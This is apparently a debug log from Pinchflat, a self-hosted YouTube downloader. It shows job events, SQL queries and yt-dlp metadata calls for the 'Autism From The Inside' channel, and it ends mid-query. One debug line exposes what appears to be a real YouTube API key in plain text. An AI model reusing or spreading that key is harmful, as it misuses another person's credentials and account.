{"args":{"id":3},"id":3800023,"meta":{},"system_time":1770763631588656952,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:11.588 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:47:11.589 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:11.589 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:11.589 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:11.589 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 16:47:11.589 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:11.589 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:11.745 [debug] QUERY OK source="media_items" db=0.7ms idle=155.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", "JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", "QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", "uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", "ue-1JoJQaEg", "vNj75gJVxcE", "Khp3wb0QMpQ", "ZJOfyMCEzjQ", "zb7Bs98KmnY", "8PTjPzw9VhY", ...] 16:47:11.746 [debug] QUERY OK source="media_items" db=0.4ms idle=157.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 16:47:11.747 [debug] QUERY OK source="tasks" db=0.1ms idle=157.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800061, 3, ~U[2026-02-10 22:47:11Z], ~U[2026-02-10 22:47:11Z]] 16:47:11.747 [info] {"args":{"id":3},"id":3800023,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":158822,"event":"job:stop","queue_time":530884,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:11.952 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ed7V-kfgSGY --simulate --skip-download --output /downloads/Autism From The Inside/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/76/7f/767fdaa974a2419dada8feb42f093643ea77d1373445361addb4c0179f66cd36.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 16:47:11.953 [debug] QUERY OK source="sources" db=0.2ms idle=205.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 16:47:11.954 [debug] QUERY OK source="media_items" db=1.6ms idle=205.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-10 22:35:46Z], 32] 16:47:11.956 [debug] QUERY OK source="media_items" db=0.9ms idle=207.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Did you know there are activities many of us do every-single-day that SAP our executive function resources? And PAIN is one of them!!\nWatch the full video here: https://youtu.be/b5oqQc9awuc\n\n-----------------------------------------------\n\n👋Welcome to Autism From The Inside!!!\n\nIf you're autistic or think you or someone you love might be on the autism spectrum, this channel is for you! \nI'm Paul Micallef, and I discovered my own autism at age 30.\n\nYes, I know, I don't look autistic. That's exactly why I started this channel in the first place because if I didn't show you, you would never know.\n\nAutism affects many (if not all!) aspects of our lives, so on this channel, I want to show you what Autism looks like in real people and give you some insight into what's happening for us on the inside. We'll break down myths and misconceptions, discuss how to embrace autism and live well, and share what it's like to be an autistic person.\n\nJoin me as I share what I've found along my journey, so you don't have to learn it the hard way.\n\nMake sure to subscribe so you won’t miss my new video every Friday and some bonus content thrown in mid-week too.\n\n➡️️ https://www.youtube.com/channel/UC-FpBZR7DbpvNj5UrFN8qUA?sub_confirmation=1\n\n\n👋Connect with me:\n➡️️ Patreon: https://www.patreon.com/aspergersfromtheinside\n➡️️ Facebook: https://www.facebook.com/autismfromtheinside.com.au\n➡️️ Twitter: https://twitter.com/AspieFromInside\n➡️️ Bluesky: https://bsky.app/profile/autismfrominside.bsky.social\n➡️️ Written Blog: https://www.autismfromtheinside.com.au/blog\n➡️️ Email: aspergersfromtheinside@gmail.com\n\n\nThanks for reading, and I hope you enjoy my channel!\n\nPeace,\n\n~ Paul\n\n#autism #asd #autismawareness", "PAIN and Executive Dysfunction", "cfbe4efb-c080-4586-ac84-71897bfb1e9f", "https://www.youtube.com/watch?v=ed7V-kfgSGY", false, "ed7V-kfgSGY", 32, [], 32, false, 0, "/downloads/Autism From The Inside/2026-02-10 PAIN and Executive Dysfunction/PAIN and Executive Dysfunction [ed7V-kfgSGY].mp4", false, true, 99, ~U[2026-02-10 22:35:46Z], ~U[2026-02-10 22:47:11Z], ~U[2026-02-10 22:47:11Z], "Did you know there are activities many of us do every-single-day that SAP our executive function resources? And PAIN is one of them!!\nWatch the full video here: https://youtu.be/b5oqQc9awuc\n\n-----------------------------------------------\n\n👋Welcome to Autism From The Inside!!!\n\nIf you're autistic or think you or someone you love might be on the autism spectrum, this channel is for you! \nI'm Paul Micallef, and I discovered my own autism at age 30.\n\nYes, I know, I don't look autistic. That's exactly why I started this channel in the first place because if I didn't show you, you would never know.\n\nAutism affects many (if not all!) aspects of our lives, so on this channel, I want to show you what Autism looks like in real people and give you some insight into what's happening for us on the inside. We'll break down myths and misconceptions, discuss how to embrace autism and live well, and share what it's like to be an autistic person.\n\nJoin me as I share what I've found along my journey, so you don't have to learn it the hard way.\n\nMake sure to subscribe so you won’t miss my new video every Friday and some bonus content thrown in mid-week too.\n\n➡️️ https://www.youtube.com/channel/UC-FpBZR7DbpvNj5UrFN8qUA?sub_confirmation=1\n\n\n👋Connect with me:\n➡️️ Patreon: https://www.patreon.com/aspergersfromtheinside\n➡️️ Facebook: https://www.facebook.com/autismfromtheinside.com.au\n➡️️ Twitter: https://twitter.com/AspieFromInside\n➡️️ Bluesky: https://bsky.app/profile/autismfrominside.bsky.social\n➡️️ Written Blog: https://www.autismfromtheinside.com.au/blog\n➡️️ Email: aspergersfromtheinside@gmail.com\n\n\nThanks for reading, and I hope you enjoy my channel!\n\nPeace,\n\n~ Paul\n\n#autism #asd #autismawareness", "PAIN and Executive Dysfunction", "https://www.youtube.com/watch?v=ed7V-kfgSGY", "ed7V-kfgSGY", 32, 32, false, "/downloads/Autism From The Inside/2026-02-10 PAIN and Executive Dysfunction/PAIN and Executive Dysfunction [ed7V-kfgSGY].mp4", true, ~U[2026-02-10 22:35:46Z]] 16:47:11.956 [debug] QUERY OK source="sources" db=0.1ms idle=208.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 16:47:11.956 [debug] QUERY OK source="media_profiles" db=0.0ms idle=202.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:11.956 [debug] QUERY OK source="media_items" db=0.1ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1564184] 16:47:11.956 [info] Kicking off download for media item #1564184 (ed7V-kfgSGY) 16:47:11.957 [debug] QUERY OK source="tasks" db=0.1ms idle=1.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800062, 1564184, ~U[2026-02-10 22:47:11Z], ~U[2026-02-10 22:47:11Z]] 16:47:11.958 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:11.958 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:11.958 [debug] Running yt-dlp command for action: get_media_attributes 16:47:11.963 [info] {"args":{"id":1564184},"id":3800062,"meta":{},"system_time":1770763631963615915,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 16:47:11.963 [debug] QUERY OK source="media_items" db=0.1ms idle=6.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564184] 16:47:11.972 [info] User scripts lifecyle file either not present or is empty. Skipping. 16:47:11.972 [debug] QUERY OK source="settings" db=0.1ms idle=14.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:11.972 [debug] QUERY OK source="sources" db=0.2ms idle=14.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 16:47:11.972 [debug] QUERY OK source="settings" db=0.0ms idle=14.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:11.973 [debug] QUERY OK source="settings" db=0.0ms idle=9.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:11.973 [debug] QUERY OK source="media_profiles" db=0.1ms idle=9.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:11.973 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b5oqQc9awuc --simulate --skip-download --output /downloads/Autism From The Inside/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/d7/cc/d7cc2b6b6b5206934e5c96f7226839f29c75106d326823ad410b45ee45d99ae0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:47:11.973 [debug] QUERY OK source="media_items" db=0.1ms idle=0.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1564184] 16:47:11.974 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564184] 16:47:11.974 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:11.974 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:11.974 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:11.975 [debug] Running yt-dlp command for action: get_downloadable_status 16:47:11.975 [debug] QUERY OK source="settings" db=0.0ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:11.976 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:11.976 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:11.976 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ed7V-kfgSGY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/88/c5/88c55205e633577968addaaac02be1de6a1268e708fdba4e5f23b3604b65e8c2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:47:13.392 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b5oqQc9awuc --simulate --skip-download --output /downloads/Autism From The Inside/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/d7/cc/d7cc2b6b6b5206934e5c96f7226839f29c75106d326823ad410b45ee45d99ae0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b5oqQc9awuc: Premieres in 46 hours 16:47:13.393 [error] Error creating media item 'b5oqQc9awuc' from URL: {:error, "ERROR: [youtube] b5oqQc9awuc: Premieres in 46 hours\n", 1} 16:47:13.394 [debug] QUERY OK source="media_items" db=1.2ms idle=1417.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 16:47:13.395 [debug] QUERY OK source="sources" db=0.0ms idle=1418.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 16:47:13.395 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1134.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM 